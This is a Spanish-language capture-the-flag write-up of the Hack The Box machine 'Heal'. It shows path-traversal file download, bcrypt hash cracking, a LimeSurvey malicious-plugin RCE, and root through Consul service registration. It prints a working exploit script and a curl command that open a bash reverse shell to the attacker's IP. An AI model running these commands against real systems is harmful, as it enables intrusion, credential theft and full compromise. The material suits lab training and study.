Table of Contents
Hack The Box: Heal Writeup
Welcome to my detailed writeup of the medium difficulty machine “Heal” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 10.129.142.207 --ulimit 5000 -g
210.129.142.207 -> [22,80]
1nmap -p22,80 -sCV 10.129.142.207 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-30 18:52 CET
3Nmap scan report for 10.129.142.207
4Host is up (0.044s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
10|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
1180/tcp open http nginx 1.18.0 (Ubuntu)
12|_http-title: Did not follow redirect to http://heal.htb/
13|_http-server-header: nginx/1.18.0 (Ubuntu)
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 7.94 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.142.207 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-30 18:52 CET
3Nmap scan report for 10.129.142.207
4Host is up (0.037s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
71101/udp closed pt2-discover
85555/udp closed rplay
929595/udp closed unknown
1031692/udp closed unknown
1131731/udp closed unknown
1237783/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds
Del escaneo inicial conseguimos el dominio heal.htb
, así que lo vamos a añadir al /etc/hosts
.
HTTP Enumeration
Como no hay otro servicio a parte del SSH y no es una versión vulnerable, vamos a empezar a enumerar el servicio web.
whatweb
no nos reporta nada interesante excepto que se nos está redireccionando a heal.htb
desde la dirección IP, esto puede ser un indicio de que se está utilizando Virtual Hosting.
1whatweb http://10.129.142.207
2http://10.129.142.207 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.142.207], RedirectLocation[http://heal.htb/], Title[301 Moved Permanently], nginx[1.18.0]
3http://heal.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.142.207], Script, Title[Heal], X-Powered-By[Express], nginx[1.18.0]
Otra cosa interesante que nos reporta, es la cabecera X-Powered-By
cuyo valor es Express
, quizás se está utilizando node
en el lado del servidor.
Viendo el código fuente revela que esta aplicación fue creada con create-react-app
Así se ve el sitio web principal.
Vemos un panel de autenticación, si intentamos iniciar sesión vemos que se envía una solicitud de tipo POST a api.heal.htb
, por lo cual podemos confirmar que se está utilizando Virtual Hosting por detrás.
Vamos a añadir ese subdominio al /etc/hosts
.
También vemos que podemos crearnos una cuenta.
Cosas interesantes, nos reporta la ID del usuario, en este caso 2
, esto quiere decir que probablemente exista un usuario con ID 1
y quizás con ID 0
Bajo el endpoint /resume
podemos rellenar un formulario, que luego podemos descargar en PDF.
Podemos inyectar código HTML en el PDF y se interpreta.
Comprobando los metadatos del PDF encontramos que se ha generado con wkhtmltopdf 0.12.6
1exiftool 541c76096856979c27d5.pdf
2ExifTool Version Number : 12.76
3File Name : 541c76096856979c27d5.pdf
4Directory : .
5File Size : 27 kB
6File Modification Date/Time : 2024:12:30 19:01:12+01:00
7File Access Date/Time : 2024:12:30 19:01:54+01:00
8File Inode Change Date/Time : 2024:12:30 19:01:51+01:00
9File Permissions : -rw-r--r--
10File Type : PDF
11File Type Extension : pdf
12MIME Type : application/pdf
13PDF Version : 1.4
14Linearized : No
15Title :
16Creator : wkhtmltopdf 0.12.6
17Producer : Qt 5.15.3
18Create Date : 2024:12:30 18:01:12Z
19Page Count : 1
Esta herramienta es un binario para generar PDF’s a través de sitios web, esto es interesante ya que quizás significa que se está aconteciendo un XSS por detrás en algún sitio.
Local File Inclusion
Pero rápidamente podemos ver que se está pasando el contenido en HTML por detrás al endpoint, por lo cual no creo que pueda aprovecharme de esto /exports
La respuesta del servidor nos indica que se ha creado el PDF y nos devuelve un nombre de archivo.
Después de que se cree el PDF, se intenta descargar haciendo una solicitud de tipo GET
al endpoint /download
y pasándole el nombre del archivo completo mediante el query parameter filename
En este punto, podemos pasar cualquier otro archivo y lo podemos descargar, por lo cual se esta aconteciendo un Local File Inclusion.
Vemos que existen tres usuarios con una bash.
- root
- ralph
- postgres
- ron
Keep Enumerating
En el recurso /survey
encontramos un botón que nos redirecciona a take-survey.heal.htb
, otro subdominio que vamos a añadir al /etc/hosts
Me lleva a una encuesta, por detrás se está utilizando LimeSurvey
, una aplicación web que utiliza PHP para crear encuestas online.
Si mandamos la encuesta y leemos el código fuente, encontramos que está el usuario ralph
y nos reporta que es administrador ya que nos están diciendo de contactar con el.
Encontramos que tiene una vulnerabilidad de tipo RCE pero necesitamos estar autenticados.
The API is written in Rails!
Este paso fue clave, no encontraba nada hasta que iba a probar el típico endpoint /swagger
en el navegador para ver si podía acceder a la documentación de la API, y me encontré lo siguiente.
Abusing the LFI to get the SQLite3 Database
Se está utilizando Rails 7.1.4
, esto es interesante ya que los proyectos en Rails tienen una estructura de directorios particular y quizás podamos mediante el LFI conseguir algún archivo de configuración que contenga información privilegiada.
A través del LFI, podemos hacer Path Traversal para intentar cargar el archivo Gemfile
típico en Rails, y volviendo atrás un par de directorios, vemos que lo conseguimos.
Podemos comprobar la estructura de directorios que utiliza Rails, y vemos que en /config/database.yml
es donde se almacena la información de conexión a base de datos, esto puede ser interesante, así que vamos a echarle un vistazo.
Sorprendentemente en producción se está utilizando SQLite3, y aquí tenemos la ruta donde está la base de datos.
Vamos a descargar la base de datos utilizando wget
y el LFI.
1wget 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' --header='Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ'
2--2024-12-30 19:35:05-- http://api.heal.htb/download?filename=../../storage/development.sqlite3
3Resolving api.heal.htb (api.heal.htb)... 10.129.142.207
4Connecting to api.heal.htb (api.heal.htb)|10.129.142.207|:80... connected.
5HTTP request sent, awaiting response... 200 OK
6Length: 32768 (32K) [application/octet-stream]
7Saving to: ‘download?filename=..%2F..%2Fstorage%2Fdevelopment.sqlite3’
8
9download?filename=..%2F..%2Fstorage%2Fdevelopment.sqlite3 100%[======================================================================================================================================>] 32.00K --.-KB/s in 0.04s
10
112024-12-30 19:35:05 (866 KB/s) - ‘download?filename=..%2F..%2Fstorage%2Fdevelopment.sqlite3’ saved [32768/32768]
Importante pasarle a wget
nuestro token JWT para poder utilizar la API.
Ahora cambiamos el nombre del archivo.
1mv download\?filename=..%2F..%2Fstorage%2Fdevelopment.sqlite3 development.sqlite3
Y comprobamos que efectivamente es una base de datos SQLite3.
1file development.sqlite3
2development.sqlite3: SQLite 3.x database, last written using SQLite version 3045002, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 2
Ahora con podemos explorar la base de datos con:
1sqlite3 development.sqlite3
Vemos una tabla users
1sqlite> .tables
2ar_internal_metadata token_blacklists
3schema_migrations users
Y vemos un hash del usuario ralph
1sqlite> select * from users;
21|ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG|2024-09-27 07:49:31.614858|2024-09-27 07:49:31.614858|Administrator|ralph|1
32|pointed@pointed.com|$2a$12$ODoDsGuIj7OaKEoFEMchqu.gXXCvPZrvTItOjnMtHdAbyXpkaohZi|2024-12-30 17:59:21.653630|2024-12-30 17:59:21.653630|pointed|pointed|0
Cracking ralph
hash
Este hash seguramente sea bcrypt
ya que es mas típico que el resto de hashes que nos reporta hashid
1hashid
2$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
3Analyzing '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG'
4[+] Blowfish(OpenBSD)
5[+] Woltlab Burning Board 4.x
6[+] bcrypt
Vamos a utilizar el modo 3200
en hashcat
que corresponde a bcrypt
y vemos que conseguimos crackear este hash.
1C:\Users\pc\Desktop\hashcat-6.2.6>.\hashcat.exe -a 0 -m 3200 .\hash.txt .\rockyou.txt --show
2$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
Entonces ahora tenemos un combo.
ralph:147258369
Podemos probar a iniciar sesión y vemos que conseguimos iniciar sesión como ralph
correctamente
Ahora, podemos probar si se están reutilizando las credenciales en LimeSurvey
para poder abusar del RCE que hemos visto anteriormente, podemos buscar que por defecto el panel de autenticación se encuentra en /admin/admin.php
Y efectivamente, se nos redirecciona al panel de autenticación.
Y podemos iniciar sesión como ralph
Abusing CVE-2021-44967 -> Foothold
Ahora, podemos intentar abusar de la vulnerabilidad encontrada, que es simplemente creando un plugin malicioso.
Para esto, me ha servido mucho esta guía del INE
Nos dirigimos al apartado de Plugins
Ahora nos clonamos este repositorio que nos va a crear el plugin malicioso que necesitamos.
1git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
2Cloning into 'Limesurvey-RCE'...
3remote: Enumerating objects: 24, done.
4remote: Counting objects: 100% (6/6), done.
5remote: Compressing objects: 100% (6/6), done.
6remote: Total 24 (delta 2), reused 0 (delta 0), pack-reused 18 (from 1)
7Receiving objects: 100% (24/24), 10.00 KiB | 3.33 MiB/s, done.
8Resolving deltas: 100% (5/5), done.
Extraemos el zip que nos viene, esto es para que el Defender no detecte la reverse-shell como malware de primeras.
1unzip Y1LD1R1M.zip
2Archive: Y1LD1R1M.zip
3replace config.xml? [y]es, [n]o, [A]ll, [N]one, [r]ename: A
4 inflating: config.xml
5 inflating: php-rev.php
Editamos la reverse shell y le especificamos nuestra IP de atacante y el puerto por el que vamos a estar en escucha, en este caso el puerto 443.
Por como está hecho el sistema de plugins, tenemos que borrar el zip que nos venía y crearlo de nuevo con la nueva reverse shell para poder subirlo a LimeSurvey
y lo detecte como un plugin válido.
1rm Y1LD1R1M.zip
2zip -r Y1LD1R1M.zip config.xml php-rev.php
3 adding: config.xml (deflated 56%)
4 adding: php-rev.php (deflated 61%)
Ahora, vamos a subir el plugin.
Lo seleccionamos y le damos a Install
Y nos reporta que el plugin no es compatible con la versión de LimeSurvey
Esto es por el archivo config.xml
, ya que tiene un apartado para especificar con que versiones de LimeSurvey
es compatible el plugin.
Añadimos la versión actual (No sé si es necesaria añadir la versión 6.0
pero por si acaso la he añadido).
Y ahora vemos que si que podemos subir el plugin, le damos click a Install
.
Ahora, nos ponemos en escucha por el puerto 443 con netcat
1nc -lvnp 443
2listening on [any] 443 ...
Ahora, vamos a buscar en la página de plugins el plugin malicioso y al poner el ratón encima, nos debemos de fijar en el ID del plugin, en este caso el 18.
Ahora vamos a hacer los cambios necesarios en el archivo exploit.py
.
Primero en la línea 64 vamos a cambiar la ubicación de nuestro archivo zip.
En la línea 105 vamos a cambiar el dígito por el ID de nuestro plugin malicioso.
Ahora simplemente lanzamos el exploit.
1python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
2_______________LimeSurvey RCE_______________
3
4
5Usage: python exploit.py URL username password port
6Example: python exploit.py http://192.26.26.128 admin password 80
7
8
9== ██╗ ██╗ ██╗██╗ ██████╗ ██╗██████╗ ██╗███╗ ███╗ ==
10== ╚██╗ ██╔╝███║██║ ██╔══██╗███║██╔══██╗███║████╗ ████║ ==
11== ╚████╔╝ ╚██║██║ ██║ ██║╚██║██████╔╝╚██║██╔████╔██║ ==
12== ╚██╔╝ ██║██║ ██║ ██║ ██║██╔══██╗ ██║██║╚██╔╝██║ ==
13== ██║ ██║███████╗██████╔╝ ██║██║ ██║ ██║██║ ╚═╝ ██║ ==
14== ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ==
15
16
17[+] Retrieving CSRF token...
18dGF2Rko2UG9zcFNxTFUyeUE4dm1QMlcxbDNVQVJIMHnpLn6u0NvCtGcYomg2iCwhvU5ADdybiRE3BwQo2OYHJw==
19[+] Sending Login Request...
20[+]Login Successful
21
22[+] Upload Plugin Request...
23[+] Retrieving CSRF token...
24WTVRakttQl8xMXFsUVJMeEVDWDcwOVQ2cnQ5a1dveVI5mM_0j8QrwgUZKudenc1tWFyRQIaRhIbkihfzobQUag==
25[+] Plugin Uploaded Successfully
26
27[+] Install Plugin Request...
28[+] Retrieving CSRF token...
29WTVRakttQl8xMXFsUVJMeEVDWDcwOVQ2cnQ5a1dveVI5mM_0j8QrwgUZKudenc1tWFyRQIaRhIbkihfzobQUag==
30[+] Plugin Installed Successfully
31
32[+] Activate Plugin Request...
33[+] Retrieving CSRF token...
34WTVRakttQl8xMXFsUVJMeEVDWDcwOVQ2cnQ5a1dveVI5mM_0j8QrwgUZKudenc1tWFyRQIaRhIbkihfzobQUag==
35[+] Plugin Activated Successfully
36
37[+] Reverse Shell Starting, Check Your Connection :)
Y vemos que ganamos acceso como www-data
1nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.103] from (UNKNOWN) [10.129.142.207] 46280
4Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
5 19:06:01 up 1:16, 0 users, load average: 0.05, 0.06, 0.02
6USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
7uid=33(www-data) gid=33(www-data) groups=33(www-data)
8/bin/sh: 0: can't access tty; job control turned off
9$ id
10uid=33(www-data) gid=33(www-data) groups=33(www-data)
User Pivoting
Abusing Password Reuse
Después de hacer el tratamiento de la TTY podemos enumerar la máquina y en el directorio /var/www/limesurvey
la instancia de LimeSurvey
, buscando en Google podemos encontrar esta entrada del foro oficial de LimeSurvey donde nos dice la ruta del archivo de configuración de acceso a base de datos.
Si comprobamos el archivo /var/www/limesurvey/application/config/config.php
encontramos el siguiente fragmento.
1'db' => array(
2 'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
3 'emulatePrepare' => true,
4 'username' => 'db_user',
5 'password' => 'AdmiDi0_pA$$w0rd',
6 'charset' => 'utf8',
7 'tablePrefix' => 'lime_',
8 ),
Podemos probar esta credencial con el usuario ron
y vemos que es válida.
1www-data@heal:~/limesurvey$ su ron
2Password:
3ron@heal:/var/www/limesurvey$ id
4uid=1001(ron) gid=1001(ron) groups=1001(ron)
Podemos ver la flag de usuario.
1ron@heal:~$ cat user.txt
2fc14dd386b663f87e...
Privilege Escalation
Enumerando la máquina víctima encontramos varios puertos internos abiertos.
1ron@heal:~$ netstat -tulnp
2(Not all processes could be identified, non-owned process info
3 will not be shown, you would have to be root to see it all.)
4Active Internet connections (only servers)
5Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
6tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
7tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
8tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
9tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
10tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
11tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
12tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN -
13tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN -
14tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN -
15tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN -
16tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN -
17tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN -
18tcp6 0 0 :::22 :::* LISTEN -
19udp 0 0 127.0.0.1:8600 0.0.0.0:* -
20udp 0 0 0.0.0.0:5353 0.0.0.0:* -
21udp 0 0 0.0.0.0:60690 0.0.0.0:* -
22udp 0 0 127.0.0.53:53 0.0.0.0:* -
23udp 0 0 0.0.0.0:68 0.0.0.0:* -
24udp 0 0 127.0.0.1:8301 0.0.0.0:* -
25udp 0 0 127.0.0.1:8302 0.0.0.0:* -
26udp6 0 0 :::56297 :::* -
27udp6 0 0 :::5353 :::* -
Reverse SOCKS w/chisel
Ahora, nos vamos a compartir chisel
en la máquina víctima.
1wget http://10.10.14.103:8081/chisel
2--2024-12-30 19:19:05-- http://10.10.14.103:8081/chisel
3Connecting to 10.10.14.103:8081... connected.
4HTTP request sent, awaiting response... 200 OK
5Length: 8654848 (8.3M) [application/octet-stream]
6Saving to: ‘chisel’
7
8chisel 100%[===================>] 8.25M 13.0MB/s in 0.6s
9
102024-12-30 19:19:05 (13.0 MB/s) - ‘chisel’ saved [8654848/8654848]
Ahora, en nuestra máquina, vamos a quedarnos en escucha por el puerto 1234 con chisel
.
1/usr/share/chisel server -p 1234 --reverse
22024/12/30 20:20:00 server: Reverse tunnelling enabled
32024/12/30 20:20:00 server: Fingerprint /GS2uuu8CuSxHQaH/dUjw3+JVz9NHiY6OYXj4G8npZA=
42024/12/30 20:20:00 server: Listening on http://0.0.0.0:1234
Ahora desde la máquina víctima, vamos a conectarnos a nuestro puerto en escucha y vamos a especificar que queremos crear un proxy de tipo SOCKS.
1./chisel client 10.10.14.103:1234 R:socks
22024/12/30 19:20:39 client: Connecting to ws://10.10.14.103:1234
32024/12/30 19:20:39 client: Connected (Latency 35.998443ms)
Ahora vemos que nuestro puerto local 1080 pertenece a un proxy de tipo SOCKS hacia la máquina víctima.
12024/12/30 20:20:38 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Vamos a editar el archivo /etc/proxychains4.conf
y añadir la siguiente línea.
Esto lo he hecho por si tengo que utilizar alguna herramienta en local para la explotación de alguno de estos puertos.
Según Google que me redireccionó a este post tiene pinta de que el puerto 8500 corresponde a Consul
de Hashicorp
, al puerto que corresponde al servicio HTTP.
Para comprobarlo, podemos crear un nuevo proxy en FoxyProxy
que corresponda al proxy de tipo SOCKS que acabamos de crear
Ahora si lo utilizamos, vemos que efectivamente, corresponde a este servicio.
Específicamente a la versión 1.19.2
Buscando en searchsploit
vemos que existen varias vulnerabilidades para este servicio.
1searchsploit consul
2-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
3 Exploit Title | Path
4-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
5Hashicorp Consul - Remote Command Execution via Rexec (Metasploit) | linux/remote/46073.rb
6Hashicorp Consul - Remote Command Execution via Services API (Metasploit) | linux/remote/46074.rb
7Hashicorp Consul v1.0 - Remote Command Execution (RCE) | multiple/remote/51117.txt
8Hassan Consulting Shopping Cart 1.18 - Directory Traversal | cgi/remote/20281.txt
9Hassan Consulting Shopping Cart 1.23 - Arbitrary Command Execution | cgi/remote/21104.pl
10PHPLeague 0.81 - '/consult/miniseul.php?cheminmini' Remote File Inclusion | php/webapps/28864.txt
11-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Analizando uno de las vulnerabilidades, vemos que hay un endpoint de la API que sirve para registrar un servicio nuevo y realizar una comprobación de este servicio, donde podemos insertar un comando a nivel de sistema y conseguir ejecución remota de comandos.
1searchsploit multiple/remote/51117.txt -x
Podemos ver que consul
debe estar siendo ejecutado por root
ya que el binario pertenece a root
y en principio no hay permisos especiales para ejecutarlo como otro usuario.
1ls -la /usr/local/bin/consul
2-rwxr-xr-x 1 root root 183211529 Aug 27 16:06 /usr/local/bin/consul
Tampoco estoy seguro del todo de que el servicio web sea gestionado por este binario, pero vamos a probar a crear el servicio malicioso y ver como quien ganamos acceso.
Primero, vamos a ver que hace el script que se nos adjunta.
1import requests, sys
2
3if len(sys.argv) < 6:
4 print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>\n")
5 exit(1)
6
7target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
8headers = {"X-Consul-Token": f"{sys.argv[5]}"}
9json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}
10
11try:
12 requests.put(target, headers=headers, json=json)
13 print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
14except:
15 print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")
En resumen, el script intenta explotar la API de Consul para registrar un servicio que, al ejecutarse, abre una reverse shell desde el host remoto (rhost
) al local (lhost
). Esto permite al atacante controlar remotamente el sistema donde Consul está corriendo.
Entonces, en nuestra máquina nos vamos a poner escucha por el puerto 443 con netcat
1nc -lvnp 443
2listening on [any] 443 ...
Ahora, en la máquina víctima vamos a hacer la solicitud con curl
en vez de utilizar el script ya que no lo veo necesario.
1ron@heal:~$ curl -X PUT "http://127.0.0.1:8500/v1/agent/service/register" -H "X-Consul-Token:" -d '{"Address":"10.10.14.103","check":{"Args":["/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.103/443 0>&1"],"interval":"10s","Timeout":"864000s"},"ID":"pwned","Name":"pwned","Port":80}'
Ahora podemos ver en el panel que se ha creado el nuevo servicio.
Tras esperar unos segundos, vemos que me llega una conexión y ganamos acceso a la máquina víctima como root
1root@heal:/# id
2id
3uid=0(root) gid=0(root) groups=0(root)
Podemos leer la flag de root
1root@heal:/# cat /root/root.txt
2375a6e1860d9c...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Heal #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #HTML Injection #Local File Inclusion #Information Disclosure #Directory Path Traversal #Virtual Hosting #Exfiltrating Database #Hash Cracking #Cracking #Abusing CVE-2021-44967 (LimeSurvey) #LimeSurvey Malicious Plugin #Abusing Password Reuse #Reverse Port Forwarding #Reverse Socks Proxy #Abusing Consul API Service